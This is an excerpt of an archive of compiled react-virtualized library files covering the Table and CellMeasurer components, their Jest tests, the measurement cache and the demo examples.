import { bpfrpt_proptype_HeaderRendererParams } from "./types";
import PropTypes from "prop-types";es/Table/Column.jest.js000064400000005011151677406000010744 0ustar00import * as React from 'react';
import Immutable from 'immutable';
import defaultCellDataGetter from './defaultCellDataGetter';
import defaultCellRenderer from './defaultCellRenderer';
import defaultHeaderRenderer from './defaultHeaderRenderer';
describe('Column', function () {
  var rowData = Immutable.Map({
    foo: 'Foo',
    bar: 1
  });
  describe('defaultCellDataGetter', function () {
    it('should return a value for specified attributes', function () {
      expect(defaultCellDataGetter({
        dataKey: 'foo',
        rowData: rowData
      })).toEqual('Foo');
      expect(defaultCellDataGetter({
        dataKey: 'bar',
        rowData: rowData
      })).toEqual(1);
    });
    it('should return undefined for missing attributes', function () {
      expect(defaultCellDataGetter({
        dataKey: 'baz',
        rowData: rowData
      })).toEqual(undefined);
    });
  });
  describe('defaultCellRenderer', function () {
    it('should render a value for specified attributes', function () {
      expect(defaultCellRenderer({
        cellData: 'Foo',
        dataKey: 'foo',
        rowData: rowData,
        rowIndex: 0
      })).toEqual('Foo');
      expect(defaultCellRenderer({
        cellData: 1,
        dataKey: 'bar',
        rowData: rowData,
        rowIndex: 0
      })).toEqual('1');
    });
    it('should render empty string for null or missing attributes', function () {
      expect(defaultCellRenderer({
        cellData: null,
        dataKey: 'baz',
        rowData: rowData,
        rowIndex: 0
      })).toEqual('');
      expect(defaultCellRenderer({
        cellData: undefined,
        dataKey: 'baz',
        rowData: rowData,
        rowIndex: 0
      })).toEqual('');
    });
  });
  describe('defaultHeaderRenderer', function () {
    it('should render a value for specified attributes', function () {
      expect(defaultHeaderRenderer({
        dataKey: 'foo',
        label: 'squirrel'
      })[0].props.children).toEqual('squirrel');
      var label = React.createElement("div", {
        className: "rabbit"
      }, "Rabbit");
      expect(defaultHeaderRenderer({
        dataKey: 'bar',
        label: label
      })[0].props.children).toEqual(label);
    });
    it('should render empty string for null or missing attributes', function () {
      expect(defaultHeaderRenderer({
        dataKey: 'foo',
        label: null
      })[0].props.children).toBeNull();
      expect(defaultHeaderRenderer({
        dataKey: 'bar',
        label: undefined
      })[0].props.children).toBeUndefined();
    });
  });
});es/Table/defaultCellDataGetter.js000064400000001054151677406000012737 0ustar00/**
 * Default accessor for returning a cell value for a given attribute.
 * This function expects to operate on either a vanilla Object or an Immutable Map.
 * You should override the column's cellDataGetter if your data is some other type of object.
 */
export default function defaultCellDataGetter(_ref) {
  var dataKey = _ref.dataKey,
      rowData = _ref.rowData;

  if (typeof rowData.get === 'function') {
    return rowData.get(dataKey);
  } else {
    return rowData[dataKey];
  }
}
import { bpfrpt_proptype_CellDataGetterParams } from "./types";es/Table/defaultHeaderRowRenderer.js000064400000001112151677406000013455 0ustar00import * as React from 'react';
export default function defaultHeaderRowRenderer(_ref) {
  var className = _ref.className,
      columns = _ref.columns,
      style = _ref.style;
  return React.createElement("div", {
    className: className,
    role: "row",
    style: style
  }, columns);
}
defaultHeaderRowRenderer.propTypes = process.env.NODE_ENV === 'production' ? null : bpfrpt_proptype_HeaderRowRendererParams === PropTypes.any ? {} : bpfrpt_proptype_HeaderRowRendererParams;
import { bpfrpt_proptype_HeaderRowRendererParams } from "./types";
import PropTypes from "prop-types";es/CellMeasurer/CellMeasurer.DynamicWidthMultiGrid.example.js000064400000010372151677406000020326 0ustar00import _defineProperty from "@babel/runtime/helpers/defineProperty";
import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

import Immutable from 'immutable';
import PropTypes from 'prop-types';
import * as React from 'react';
import CellMeasurer from './CellMeasurer';
import CellMeasurerCache from './CellMeasurerCache';
import MultiGrid from '../MultiGrid';
import styles from './CellMeasurer.example.css';

var DynamicWidthMultiGrid =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(DynamicWidthMultiGrid, _React$PureComponent);

  function DynamicWidthMultiGrid(props, context) {
    var _this;

    _classCallCheck(this, DynamicWidthMultiGrid);

    _this = _possibleConstructorReturn(this, _getPrototypeOf(DynamicWidthMultiGrid).call(this, props, context));
    _this._cache = new CellMeasurerCache({
      defaultHeight: 30,
      defaultWidth: 150,
      fixedHeight: true
    });
    _this._cellRenderer = _this._cellRenderer.bind(_assertThisInitialized(_this));
    return _this;
  }

  _createClass(DynamicWidthMultiGrid, [{
    key: "render",
    value: function render() {
      var width = this.props.width;
      return React.createElement(MultiGrid, {
        className: styles.BodyGrid,
        columnCount: 50,
        columnWidth: this._cache.columnWidth,
        deferredMeasurementCache: this._cache,
        fixedColumnCount: 1,
        fixedRowCount: 0,
        height: 400,
        overscanColumnCount: 0,
        overscanRowCount: 0,
        cellRenderer: this._cellRenderer,
        rowCount: 50,
        rowHeight: 30,
        width: width
      });
    }
  }, {
    key: "_cellRenderer",
    value: function _cellRenderer(_ref) {
      var columnIndex = _ref.columnIndex,
          key = _ref.key,
          parent = _ref.parent,
          rowIndex = _ref.rowIndex,
          style = _ref.style;
      var _this$props = this.props,
          getClassName = _this$props.getClassName,
          getContent = _this$props.getContent,
          list = _this$props.list;
      var datum = list.get((rowIndex + columnIndex) % list.size);
      var classNames = getClassName({
        columnIndex: columnIndex,
        rowIndex: rowIndex
      });
      var content = getContent({
        index: rowIndex,
        datum: datum,
        "long": false
      });

      if (columnIndex === 0) {
        content = content.substr(0, 50);
      }

      return React.createElement(CellMeasurer, {
        cache: this._cache,
        columnIndex: columnIndex,
        key: key,
        parent: parent,
        rowIndex: rowIndex
      }, React.createElement("div", {
        className: classNames,
        style: _objectSpread({}, style, {
          whiteSpace: 'nowrap'
        })
      }, content));
    }
  }]);

  return DynamicWidthMultiGrid;
}(React.PureComponent);

export { DynamicWidthMultiGrid as default };
DynamicWidthMultiGrid.propTypes = process.env.NODE_ENV !== "production" ? {
  getClassName: PropTypes.func.isRequired,
  getContent: PropTypes.func.isRequired,
  list: PropTypes.instanceOf(Immutable.List).isRequired,
  width: PropTypes.number.isRequired
} : {};es/CellMeasurer/types.js000064400000000642151677406000011250 0ustar00var bpfrpt_proptype_CellMeasureCache = process.env.NODE_ENV === 'production' ? null : {
  "hasFixedWidth": PropTypes.func.isRequired,
  "hasFixedHeight": PropTypes.func.isRequired,
  "has": PropTypes.func.isRequired,
  "set": PropTypes.func.isRequired,
  "getHeight": PropTypes.func.isRequired,
  "getWidth": PropTypes.func.isRequired
};
import PropTypes from "prop-types";
export { bpfrpt_proptype_CellMeasureCache };es/CellMeasurer/CellMeasurerCache.js000064400000017010151677406000013410 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _defineProperty from "@babel/runtime/helpers/defineProperty";
export var DEFAULT_HEIGHT = 30;
export var DEFAULT_WIDTH = 100; // Enables more intelligent mapping of a given column and row index to an item ID.
// This prevents a cell cache from being invalidated when its parent collection is modified.

/**
 * Caches measurements for a given cell.
 */
var CellMeasurerCache =
/*#__PURE__*/
function () {
  function CellMeasurerCache() {
    var _this = this;

    var params = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};

    _classCallCheck(this, CellMeasurerCache);

    _defineProperty(this, "_cellHeightCache", {});

    _defineProperty(this, "_cellWidthCache", {});

    _defineProperty(this, "_columnWidthCache", {});

    _defineProperty(this, "_rowHeightCache", {});

    _defineProperty(this, "_defaultHeight", void 0);

    _defineProperty(this, "_defaultWidth", void 0);

    _defineProperty(this, "_minHeight", void 0);

    _defineProperty(this, "_minWidth", void 0);

    _defineProperty(this, "_keyMapper", void 0);

    _defineProperty(this, "_hasFixedHeight", void 0);

    _defineProperty(this, "_hasFixedWidth", void 0);

    _defineProperty(this, "_columnCount", 0);

    _defineProperty(this, "_rowCount", 0);

    _defineProperty(this, "columnWidth", function (_ref) {
      var index = _ref.index;

      var key = _this._keyMapper(0, index);

      return _this._columnWidthCache[key] !== undefined ? _this._columnWidthCache[key] : _this._defaultWidth;
    });

    _defineProperty(this, "rowHeight", function (_ref2) {
      var index = _ref2.index;

      var key = _this._keyMapper(index, 0);

      return _this._rowHeightCache[key] !== undefined ? _this._rowHeightCache[key] : _this._defaultHeight;
    });

    var defaultHeight = params.defaultHeight,
        defaultWidth = params.defaultWidth,
        fixedHeight = params.fixedHeight,
        fixedWidth = params.fixedWidth,
        keyMapper = params.keyMapper,
        minHeight = params.minHeight,
        minWidth = params.minWidth;
    this._hasFixedHeight = fixedHeight === true;
    this._hasFixedWidth = fixedWidth === true;
    this._minHeight = minHeight || 0;
    this._minWidth = minWidth || 0;
    this._keyMapper = keyMapper || defaultKeyMapper;
    this._defaultHeight = Math.max(this._minHeight, typeof defaultHeight === 'number' ? defaultHeight : DEFAULT_HEIGHT);
    this._defaultWidth = Math.max(this._minWidth, typeof defaultWidth === 'number' ? defaultWidth : DEFAULT_WIDTH);

    if (process.env.NODE_ENV !== 'production') {
      if (this._hasFixedHeight === false && this._hasFixedWidth === false) {
        console.warn("CellMeasurerCache should only measure a cell's width or height. " + 'You have configured CellMeasurerCache to measure both. ' + 'This will result in poor performance.');
      }

      if (this._hasFixedHeight === false && this._defaultHeight === 0) {
        console.warn('Fixed height CellMeasurerCache should specify a :defaultHeight greater than 0. ' + 'Failing to do so will lead to unnecessary layout and poor performance.');
      }

      if (this._hasFixedWidth === false && this._defaultWidth === 0) {
        console.warn('Fixed width CellMeasurerCache should specify a :defaultWidth greater than 0. ' + 'Failing to do so will lead to unnecessary layout and poor performance.');
      }
    }
  }

  _createClass(CellMeasurerCache, [{
    key: "clear",
    value: function clear(rowIndex) {
      var columnIndex = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;

      var key = this._keyMapper(rowIndex, columnIndex);

      delete this._cellHeightCache[key];
      delete this._cellWidthCache[key];

      this._updateCachedColumnAndRowSizes(rowIndex, columnIndex);
    }
  }, {
    key: "clearAll",
    value: function clearAll() {
      this._cellHeightCache = {};
      this._cellWidthCache = {};
      this._columnWidthCache = {};
      this._rowHeightCache = {};
      this._rowCount = 0;
      this._columnCount = 0;
    }
  }, {
    key: "hasFixedHeight",
    value: function hasFixedHeight() {
      return this._hasFixedHeight;
    }
  }, {
    key: "hasFixedWidth",
    value: function hasFixedWidth() {
      return this._hasFixedWidth;
    }
  }, {
    key: "getHeight",
    value: function getHeight(rowIndex) {
      var columnIndex = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;

      if (this._hasFixedHeight) {
        return this._defaultHeight;
      } else {
        var _key = this._keyMapper(rowIndex, columnIndex);

        return this._cellHeightCache[_key] !== undefined ? Math.max(this._minHeight, this._cellHeightCache[_key]) : this._defaultHeight;
      }
    }
  }, {
    key: "getWidth",
    value: function getWidth(rowIndex) {
      var columnIndex = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;

      if (this._hasFixedWidth) {
        return this._defaultWidth;
      } else {
        var _key2 = this._keyMapper(rowIndex, columnIndex);

        return this._cellWidthCache[_key2] !== undefined ? Math.max(this._minWidth, this._cellWidthCache[_key2]) : this._defaultWidth;
      }
    }
  }, {
    key: "has",
    value: function has(rowIndex) {
      var columnIndex = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;

      var key = this._keyMapper(rowIndex, columnIndex);

      return this._cellHeightCache[key] !== undefined;
    }
  }, {
    key: "set",
    value: function set(rowIndex, columnIndex, width, height) {
      var key = this._keyMapper(rowIndex, columnIndex);

      if (columnIndex >= this._columnCount) {
        this._columnCount = columnIndex + 1;
      }

      if (rowIndex >= this._rowCount) {
        this._rowCount = rowIndex + 1;
      } // Size is cached per cell so we don't have to re-measure if cells are re-ordered.


      this._cellHeightCache[key] = height;
      this._cellWidthCache[key] = width;

      this._updateCachedColumnAndRowSizes(rowIndex, columnIndex);
    }
  }, {
    key: "_updateCachedColumnAndRowSizes",
    value: function _updateCachedColumnAndRowSizes(rowIndex, columnIndex) {
      // :columnWidth and :rowHeight are derived based on all cells in a column/row.
      // Pre-cache these derived values for faster lookup later.
      // Reads are expected to occur more frequently than writes in this case.
      // Only update non-fixed dimensions though to avoid doing unnecessary work.
      if (!this._hasFixedWidth) {
        var columnWidth = 0;

        for (var i = 0; i < this._rowCount; i++) {
          columnWidth = Math.max(columnWidth, this.getWidth(i, columnIndex));
        }

        var columnKey = this._keyMapper(0, columnIndex);

        this._columnWidthCache[columnKey] = columnWidth;
      }

      if (!this._hasFixedHeight) {
        var rowHeight = 0;

        for (var _i = 0; _i < this._columnCount; _i++) {
          rowHeight = Math.max(rowHeight, this.getHeight(rowIndex, _i));
        }

        var rowKey = this._keyMapper(rowIndex, 0);

        this._rowHeightCache[rowKey] = rowHeight;
      }
    }
  }, {
    key: "defaultHeight",
    get: function get() {
      return this._defaultHeight;
    }
  }, {
    key: "defaultWidth",
    get: function get() {
      return this._defaultWidth;
    }
  }]);

  return CellMeasurerCache;
}();

export { CellMeasurerCache as default };

function defaultKeyMapper(rowIndex, columnIndex) {
  return "".concat(rowIndex, "-").concat(columnIndex);
}

import { bpfrpt_proptype_CellMeasureCache } from "./types";es/CellMeasurer/CellMeasurer.DynamicHeightGrid.example.js000064400000010004151677406000017434 0ustar00import _defineProperty from "@babel/runtime/helpers/defineProperty";
import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

import Immutable from 'immutable';
import PropTypes from 'prop-types';
import * as React from 'react';
import CellMeasurer from './CellMeasurer';
import CellMeasurerCache from './CellMeasurerCache';
import Grid from '../Grid';
import styles from './CellMeasurer.example.css';

var DynamicHeightGrid =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(DynamicHeightGrid, _React$PureComponent);

  function DynamicHeightGrid(props, context) {
    var _this;

    _classCallCheck(this, DynamicHeightGrid);

    _this = _possibleConstructorReturn(this, _getPrototypeOf(DynamicHeightGrid).call(this, props, context));
    _this._cache = new CellMeasurerCache({
      defaultWidth: 150,
      fixedWidth: true
    });
    _this._cellRenderer = _this._cellRenderer.bind(_assertThisInitialized(_this));
    return _this;
  }

  _createClass(DynamicHeightGrid, [{
    key: "render",
    value: function render() {
      var width = this.props.width;
      return React.createElement(Grid, {
        className: styles.BodyGrid,
        columnCount: 50,
        columnWidth: 150,
        deferredMeasurementCache: this._cache,
        height: 400,
        overscanColumnCount: 0,
        overscanRowCount: 2,
        cellRenderer: this._cellRenderer,
        rowCount: 1000,
        rowHeight: this._cache.rowHeight,
        width: width
      });
    }
  }, {
    key: "_cellRenderer",
    value: function _cellRenderer(_ref) {
      var columnIndex = _ref.columnIndex,
          key = _ref.key,
          parent = _ref.parent,
          rowIndex = _ref.rowIndex,
          style = _ref.style;
      var _this$props = this.props,
          getClassName = _this$props.getClassName,
          getContent = _this$props.getContent,
          list = _this$props.list;
      var datum = list.get((rowIndex + columnIndex) % list.size);
      var classNames = getClassName({
        columnIndex: columnIndex,
        rowIndex: rowIndex
      });
      var content = getContent({
        index: rowIndex,
        datum: datum
      });
      return React.createElement(CellMeasurer, {
        cache: this._cache,
        columnIndex: columnIndex,
        key: key,
        parent: parent,
        rowIndex: rowIndex
      }, React.createElement("div", {
        className: classNames,
        style: _objectSpread({}, style, {
          width: 150
        })
      }, content));
    }
  }]);

  return DynamicHeightGrid;
}(React.PureComponent);

export { DynamicHeightGrid as default };
DynamicHeightGrid.propTypes = process.env.NODE_ENV !== "production" ? {
  getClassName: PropTypes.func.isRequired,
  getContent: PropTypes.func.isRequired,
  list: PropTypes.instanceOf(Immutable.List).isRequired,
  width: PropTypes.number.isRequired
} : {};es/CellMeasurer/index.js000064400000000250151677406000011206 0ustar00import CellMeasurer from './CellMeasurer';
import CellMeasurerCache from './CellMeasurerCache';
export default CellMeasurer;
export { CellMeasurer, CellMeasurerCache };es/CellMeasurer/CellMeasurer.example.js000064400000012213151677406000014116 0ustar00import _extends from "@babel/runtime/helpers/extends";
import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";
import Immutable from 'immutable';
import PropTypes from 'prop-types';
import * as React from 'react';
import { ContentBox, ContentBoxHeader, ContentBoxParagraph } from '../demo/ContentBox';
import AutoSizer from '../AutoSizer';
import clsx from 'clsx';
import styles from './CellMeasurer.example.css';
import DynamicWidthGrid from './CellMeasurer.DynamicWidthGrid.example.js';
import DynamicHeightGrid from './CellMeasurer.DynamicHeightGrid.example.js';
import DynamicWidthMultiGrid from './CellMeasurer.DynamicWidthMultiGrid.example.js';
import DynamicHeightList from './CellMeasurer.DynamicHeightList.example.js';
import DynamicHeightTableColumn from './CellMeasurer.DynamicHeightTableColumn.example.js';
var demoComponents = [DynamicWidthGrid, DynamicHeightGrid, DynamicWidthMultiGrid, DynamicHeightList, DynamicHeightTableColumn];

var CellMeasurerExample =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(CellMeasurerExample, _React$PureComponent);

  function CellMeasurerExample(props, context) {
    var _this;

    _classCallCheck(this, CellMeasurerExample);

    _this = _possibleConstructorReturn(this, _getPrototypeOf(CellMeasurerExample).call(this, props, context));
    _this.state = {
      currentTab: 0
    };
    _this._onClick = _this._onClick.bind(_assertThisInitialized(_this));
    return _this;
  }

  _createClass(CellMeasurerExample, [{
    key: "render",
    value: function render() {
      var list = this.context.list;
      var currentTab = this.state.currentTab;
      var buttonProps = {
        currentTab: currentTab,
        onClick: this._onClick
      };
      var DemoComponent = demoComponents[currentTab];
      return React.createElement(ContentBox, null, React.createElement(ContentBoxHeader, {
        text: "CellMeasurer",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/CellMeasurer/CellMeasurer.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/CellMeasurer.md"
      }), React.createElement(ContentBoxParagraph, null, "This component can be used to just-in-time measure dynamic content (eg. messages in a chat interface)."), React.createElement(AutoSizer, {
        disableHeight: true
      }, function (_ref) {
        var width = _ref.width;
        return React.createElement("div", {
          style: {
            width: width
          }
        }, React.createElement("div", null, React.createElement("strong", null, "Grid"), ":", React.createElement(Tab, _extends({
          id: 0
        }, buttonProps), "dynamic width text"), React.createElement(Tab, _extends({
          id: 1
        }, buttonProps), "dynamic height text"), React.createElement("strong", null, "MultiGrid"), ":", React.createElement(Tab, _extends({
          id: 2
        }, buttonProps), "dynamic width text"), React.createElement("strong", null, "List"), ":", React.createElement(Tab, _extends({
          id: 3
        }, buttonProps), "dynamic height image"), React.createElement("strong", null, "Table"), ":", React.createElement(Tab, _extends({
          id: 4
        }, buttonProps), "mixed fixed and dynamic height text")), React.createElement(DemoComponent, {
          getClassName: getClassName,
          getContent: getContent,
          list: list,
          width: width
        }));
      }));
    }
  }, {
    key: "_onClick",
    value: function _onClick(id) {
      this.setState({
        currentTab: id
      });
    }
  }]);

  return CellMeasurerExample;
}(React.PureComponent);

_defineProperty(CellMeasurerExample, "contextTypes", {
  list: PropTypes.instanceOf(Immutable.List).isRequired
});

export { CellMeasurerExample as default };

function getClassName(_ref2) {
  var columnIndex = _ref2.columnIndex,
      rowIndex = _ref2.rowIndex;
  var rowClass = rowIndex % 2 === 0 ? styles.evenRow : styles.oddRow;
  return clsx(rowClass, styles.cell, _defineProperty({}, styles.centeredCell, columnIndex > 2));
}

function getContent(_ref3) {
  var index = _ref3.index,
      datum = _ref3.datum,
      _ref3$long = _ref3["long"],
      _long = _ref3$long === void 0 ? true : _ref3$long;

  switch (index % 3) {
    case 0:
      return datum.color;

    case 1:
      return datum.name;

    case 2:
      return _long ? datum.randomLong : datum.random;
  }
}

function Tab(_ref4) {
  var children = _ref4.children,
      currentTab = _ref4.currentTab,
      id = _ref4.id,
      _onClick2 = _ref4.onClick;
  var classNames = clsx(styles.Tab, _defineProperty({}, styles.ActiveTab, currentTab === id));
  return React.createElement("button", {
    className: classNames,
    onClick: function onClick() {
      return _onClick2(id);
    }
  }, children);
}es/CellMeasurer/CellMeasurer.DynamicHeightTableColumn.example.js000064400000007470151677406000020771 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";
import Immutable from 'immutable';
import PropTypes from 'prop-types';
import * as React from 'react';
import CellMeasurer from './CellMeasurer';
import CellMeasurerCache from './CellMeasurerCache';
import { Column, Table } from '../Table';
import styles from './CellMeasurer.example.css';

var DynamicHeightTableColumn =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(DynamicHeightTableColumn, _React$PureComponent);

  function DynamicHeightTableColumn() {
    var _getPrototypeOf2;

    var _this;

    _classCallCheck(this, DynamicHeightTableColumn);

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    _this = _possibleConstructorReturn(this, (_getPrototypeOf2 = _getPrototypeOf(DynamicHeightTableColumn)).call.apply(_getPrototypeOf2, [this].concat(args)));

    _defineProperty(_assertThisInitialized(_this), "_cache", new CellMeasurerCache({
      fixedWidth: true,
      minHeight: 25
    }));

    _defineProperty(_assertThisInitialized(_this), "_lastRenderedWidth", _this.props.width);

    _defineProperty(_assertThisInitialized(_this), "_columnCellRenderer", function (_ref) {
      var dataKey = _ref.dataKey,
          parent = _ref.parent,
          rowIndex = _ref.rowIndex;
      var list = _this.props.list;
      var datum = list.get(rowIndex % list.size);
      var content = rowIndex % 5 === 0 ? '' : datum.randomLong;
      return React.createElement(CellMeasurer, {
        cache: _this._cache,
        columnIndex: 0,
        key: dataKey,
        parent: parent,
        rowIndex: rowIndex
      }, React.createElement("div", {
        className: styles.tableColumn,
        style: {
          whiteSpace: 'normal'
        }
      }, content));
    });

    _defineProperty(_assertThisInitialized(_this), "_rowGetter", function (_ref2) {
      var index = _ref2.index;
      var list = _this.props.list;
      return list.get(index % list.size);
    });

    return _this;
  }

  _createClass(DynamicHeightTableColumn, [{
    key: "render",
    value: function render() {
      var width = this.props.width;

      if (this._lastRenderedWidth !== this.props.width) {
        this._lastRenderedWidth = this.props.width;

        this._cache.clearAll();
      }

      return React.createElement(Table, {
        deferredMeasurementCache: this._cache,
        headerHeight: 20,
        height: 400,
        overscanRowCount: 2,
        rowClassName: styles.tableRow,
        rowHeight: this._cache.rowHeight,
        rowGetter: this._rowGetter,
        rowCount: 1000,
        width: width
      }, React.createElement(Column, {
        className: styles.tableColumn,
        dataKey: "name",
        label: "Name",
        width: 125
      }), React.createElement(Column, {
        className: styles.tableColumn,
        dataKey: "color",
        label: "Color",
        width: 75
      }), React.createElement(Column, {
        width: width - 200,
        dataKey: "random",
        label: "Dynamic text",
        cellRenderer: this._columnCellRenderer
      }));
    }
  }]);

  return DynamicHeightTableColumn;
}(React.PureComponent);

export { DynamicHeightTableColumn as default };
DynamicHeightTableColumn.propTypes = process.env.NODE_ENV !== "production" ? {
  list: PropTypes.instanceOf(Immutable.List).isRequired,
  width: PropTypes.number.isRequired
} : {};es/CellMeasurer/CellMeasurer.jest.js000064400000025003151677406000013431 0ustar00import * as React from 'react';
import { findDOMNode } from 'react-dom';
import { render } from '../TestUtils';
import CellMeasurer from './CellMeasurer';
import CellMeasurerCache, { DEFAULT_HEIGHT, DEFAULT_WIDTH } from './CellMeasurerCache'; // Accounts for the fact that JSDom doesn't support measurements.

function mockClientWidthAndHeight(_ref) {
  var height = _ref.height,
      width = _ref.width;
  var object = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : HTMLElement.prototype;
  var heightFn = jest.fn().mockReturnValue(height);
  var widthFn = jest.fn().mockReturnValue(width);
  Object.defineProperty(object, 'offsetHeight', {
    configurable: true,
    get: heightFn
  });
  Object.defineProperty(object, 'offsetWidth', {
    configurable: true,
    get: widthFn
  });
  return {
    heightFn: heightFn,
    widthFn: widthFn
  };
}

function createParent() {
  var _ref2 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
      cache = _ref2.cache,
      _ref2$invalidateCellS = _ref2.invalidateCellSizeAfterRender,
      invalidateCellSizeAfterRender = _ref2$invalidateCellS === void 0 ? jest.fn() : _ref2$invalidateCellS;

  return {
    invalidateCellSizeAfterRender: invalidateCellSizeAfterRender,
    props: {
      deferredMeasurementCache: cache
    }
  };
}

function renderHelper() {
  var _ref3 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
      _ref3$cache = _ref3.cache,
      cache = _ref3$cache === void 0 ? new CellMeasurerCache({
    fixedWidth: true
  }) : _ref3$cache,
      _ref3$children = _ref3.children,
      children = _ref3$children === void 0 ? React.createElement("div", null) : _ref3$children,
      parent = _ref3.parent;

  render(React.createElement(CellMeasurer, {
    cache: cache,
    columnIndex: 0,
    parent: parent,
    rowIndex: 0,
    style: {}
  }, children));
}

describe('CellMeasurer', function () {
  it('componentDidMount() should measure content that is not already in the cache', function () {
    var cache = new CellMeasurerCache({
      fixedWidth: true
    });
    var parent = createParent({
      cache: cache
    });

    var _mockClientWidthAndHe = mockClientWidthAndHeight({
      height: 20,
      width: 100
    }),
        heightFn = _mockClientWidthAndHe.heightFn,
        widthFn = _mockClientWidthAndHe.widthFn;

    expect(heightFn).toHaveBeenCalledTimes(0);
    expect(widthFn).toHaveBeenCalledTimes(0);
    expect(cache.has(0, 0)).toBe(false);
    renderHelper({
      cache: cache,
      parent: parent
    });
    expect(parent.invalidateCellSizeAfterRender).toHaveBeenCalled();
    expect(heightFn).toHaveBeenCalledTimes(1);
    expect(widthFn).toHaveBeenCalledTimes(1);
    expect(cache.has(0, 0)).toBe(true);
    expect(cache.getWidth(0, 0)).toBe(100);
    expect(cache.getHeight(0, 0)).toBe(20);
  });
  it('componentDidMount() should not measure content that is already in the cache', function () {
    var cache = new CellMeasurerCache({
      fixedWidth: true
    });
    cache.set(0, 0, 100, 20);
    var parent = createParent({
      cache: cache
    });

    var _mockClientWidthAndHe2 = mockClientWidthAndHeight({
      height: 20,
      width: 100
    }),
        heightFn = _mockClientWidthAndHe2.heightFn,
        widthFn = _mockClientWidthAndHe2.widthFn;

    expect(cache.has(0, 0)).toBe(true);
    renderHelper({
      cache: cache,
      parent: parent
    });
    expect(parent.invalidateCellSizeAfterRender).not.toHaveBeenCalled();
    expect(heightFn).toHaveBeenCalledTimes(0);
    expect(widthFn).toHaveBeenCalledTimes(0);
  });
  it('componentDidUpdate() should measure content that is not already in the cache', function () {
    var cache = new CellMeasurerCache({
      fixedWidth: true
    });
    var parent = createParent({
      cache: cache
    });
    renderHelper({
      cache: cache,
      parent: parent
    });
    cache.clear(0, 0);
    parent.invalidateCellSizeAfterRender.mockReset();
    expect(cache.has(0, 0)).toBe(false);
    expect(cache.getWidth(0, 0)).toBe(DEFAULT_WIDTH);
    expect(cache.getHeight(0, 0)).toBe(DEFAULT_HEIGHT);

    var _mockClientWidthAndHe3 = mockClientWidthAndHeight({
      height: 20,
      width: 100
    }),
        heightFn = _mockClientWidthAndHe3.heightFn,
        widthFn = _mockClientWidthAndHe3.widthFn;

    renderHelper({
      cache: cache,
      parent: parent
    });
    expect(cache.has(0, 0)).toBe(true);
    expect(parent.invalidateCellSizeAfterRender).toHaveBeenCalled();
    expect(heightFn).toHaveBeenCalledTimes(1);
    expect(widthFn).toHaveBeenCalledTimes(1);
    expect(cache.getWidth(0, 0)).toBe(100);
    expect(cache.getHeight(0, 0)).toBe(20);
  });
